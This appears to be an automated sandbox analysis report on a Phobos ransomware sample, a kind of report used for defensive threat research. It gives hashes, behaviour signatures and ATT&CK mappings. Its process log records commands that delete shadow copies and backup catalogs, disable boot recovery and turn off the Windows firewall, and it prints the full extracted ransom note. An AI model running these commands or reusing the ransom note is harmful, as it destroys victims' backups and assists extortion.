Analysis
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max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
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submitted
04-07-2024 09:22
General
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Target
202407035ec053bc341fb1b3504bd95b1bba7d71phobos.exe
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Size
57KB
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MD5
5ec053bc341fb1b3504bd95b1bba7d71
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SHA1
96bf10b3a9551f2812c1a0dff058c0229d71c5e7
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SHA256
8f8d76d157e5e4dbd7210cb19ce27b3734147c430a534143c97b90c1f5e35249
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SHA512
9066da52a37b164e8a75573ed289fb8b17539ad46a3f805fcd0e684dddcda6862744b371c6750f326c1aa138931e3e5c9d6b1a2849d3d2c98e6bbd76e50593cd
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SSDEEP
768:uvrNNeRBl5JFTXqwXrkgrn/9/HiDKGwRj4RcTdyH4pYT3nPKVU1EyZ1nyqkShh/o:gNeRBl5PT/rx1mzwRMSTdLpJyZ1He9b
Score
10/10
Malware Config
Extracted
Path
C:\info.hta
Ransom Note
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>
<html>
<head>
<meta charset='windows-1251'>
<title>encrypted</title>
<HTA:APPLICATION
ICON='msiexec.exe'
SINGLEINSTANCE='yes'
SysMenu="no">
<script language='JScript'>
window.moveTo(50, 50);
window.resizeTo(screen.width - 100, screen.height - 100);
</script>
<style type='text/css'>
body {
font: 15px Tahoma, sans-serif;
margin: 10px;
line-height: 25px;
background: #EDEDED;
}
img {
display:inline-block;
}
.bold {
font-weight: bold;
}
.mark {
background: #D0D0E8;
padding: 2px 5px;
}
.header {
text-align: center;
font-size: 30px;
line-height: 50px;
font-weight: bold;
margin-bottom:20px;
}
.info {
background: #D0D0E8;
border-left: 10px solid #00008B;
}
.alert {
background: #FFE4E4;
border-left: 10px solid #FF0000;
}
.private {
border: 1px dashed #000;
background: #FFFFEF;
}
.note {
height: auto;
padding-bottom: 1px;
margin: 15px 0;
}
.note .title {
font-weight: bold;
text-indent: 10px;
height: 30px;
line-height: 30px;
padding-top: 10px;
}
.note .mark {
background: #A2A2B5;
}
.note ul {
margin-top: 0;
}
.note pre {
margin-left: 15px;
line-height: 13px;
font-size: 13px;
}
.footer {
position:fixed;
bottom:0;
right:0;
text-align: right;
}
</style>
</head>
<body>
<div class='header'>
<img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='>
<div>!!!Attention!!! All your files have been encrypted and downloaded to our servers.</div>
<div>Payment is made only in bitcoins.</div>
<div>Do not under any conditions refer to third parties for assistance. Their decryption of your files will increase the price because they add their fees to ours (no one but us can decrypt your data) or you may be a victims of fraud.</div>
</div>
<div class='bold'>All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail <span class='mark'>[email protected]</span></div> <div class='bold'>Write this ID in the title of your message <span class='mark'>D79933EB-3333</span></div>
<div class='bold'>In case of no answer in 24 hours write us to this e-mail:<span class='mark'>[email protected]</span></div>
<div class='bold'>If there is no response from our mail, you can install the Jabber client and write to us in support of <span class='mark'>[email protected]</span> </div>
<div class='note info'>
<div class='title'>Free decryption as guarantee</div>
<ul>Before paying you can send us up to 3 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul>
</div>
<div class='note info'>
<div class='title'>How to obtain Bitcoins</div>
<ul>
The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.
<br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>
<br> Also you can find other places to buy Bitcoins and beginners guide here:
<br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a>
</ul>
</div>
<div class='title'>Jabber client installation instructions:</div>
<div class='note info'>
<ul>
<li>Download the jabber (Pidgin) client from https://pidgin.im/download/windows/</li>
<li>After installation, the Pidgin client will prompt you to create a new account.</li>
<li>Click "Add"</li><li>In the "Protocol" field, select XMPP</li>
<li>In "Username" - come up with any name</li>
<li>In the field "domain" - enter any jabber-server, there are a lot of them, for example - exploit.im</li>
<li>Create a password</li><li>At the bottom, put a tick "Create account"</li>
<li>Click add</li>
<li>If you selected "domain" - exploit.im, then a new window should appear in which you will need to re-enter your data:</li>
<ul>
<li>User</li>
<li>password</li>
<li>You will need to follow the link to the captcha (there you will see the characters that you need to enter in the field below)</li>
</ul>
<li>If you don't understand our Pidgin client installation instructions, you can find many installation tutorials on youtube - <a href = "https://www.youtube.com/results?search_query=pidgin+jabber+install">https://www.youtube.com/results?search_query=pidgin+jabber+install</a></li>
</ul>
</div>
<div class='note alert'>
<div class='title'>Attention!</div>
<ul>
<li>Do not rename encrypted files.</li>
<li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li>
<li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li>
</ul>
</div>
</body>
</html>
Emails
class='mark'>[email protected]</span></div>
class='mark'>[email protected]</span></div>
class='mark'>[email protected]</span>
URLs
http://www.w3.org/TR/html4/strict.dtd'>
https://pidgin.im/download/windows/</li>
Signatures
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Phobos
Phobos ransomware appeared at the beginning of 2019.
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Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
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Renames multiple (631) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Deletes backup catalog 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
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Modifies Windows Firewall 2 TTPs 2 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 3 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
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Drops desktop.ini file(s) 64 IoCs
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Drops file in Program Files directory 64 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
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Modifies registry class 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of WriteProcessMemory 42 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\202407035ec053bc341fb1b3504bd95b1bba7d71phobos.exe"C:\Users\Admin\AppData\Local\Temp\202407035ec053bc341fb1b3504bd95b1bba7d71phobos.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\202407035ec053bc341fb1b3504bd95b1bba7d71phobos.exe"C:\Users\Admin\AppData\Local\Temp\202407035ec053bc341fb1b3504bd95b1bba7d71phobos.exe"2⤵
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall set currentprofile state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\system32\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "F:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4308,i,14486271492189381216,15799931579469722648,262144 --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:81⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Direct Volume Access
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
3File Deletion
3Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll.id[D79933EB-3333].[[email protected]].faustFilesize
3.6MB
MD501a753be96412d9521b1dfd563335e22
SHA120aeba8bb43c3d0c3c6d8bc53f47c9f27ee62d62
SHA2561fa2a8f572a4bc81aeda44dc070ae65448e7cdb258cbeff2984d573e08532739
SHA512b26575c6ada2df06a96e32f8f7e51fa7ac1c2ae081ace34051c10d62c559e28f30ad016bed24e5b789c833c894547fcb58e70ce4810fd04f69d814862e877582
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C:\info.htaFilesize
6KB
MD5aa95657edeb8de7458bef0b491b2ebca
SHA1ed8838422c3f9a69b3c7834cdcd25e95e4b38955
SHA25632920b48ce336ca221d04de03ae6ec1ec43cb2d7c8011bdd23a1dfcb999b4cff
SHA5123ba3884df426b1648482a1aeb29f347d4dbdcbc3e839f9b12a671adc32087b5f88130c04417e3c56139f2a0a53c752e9d58568af71d548717c9dc742788576a9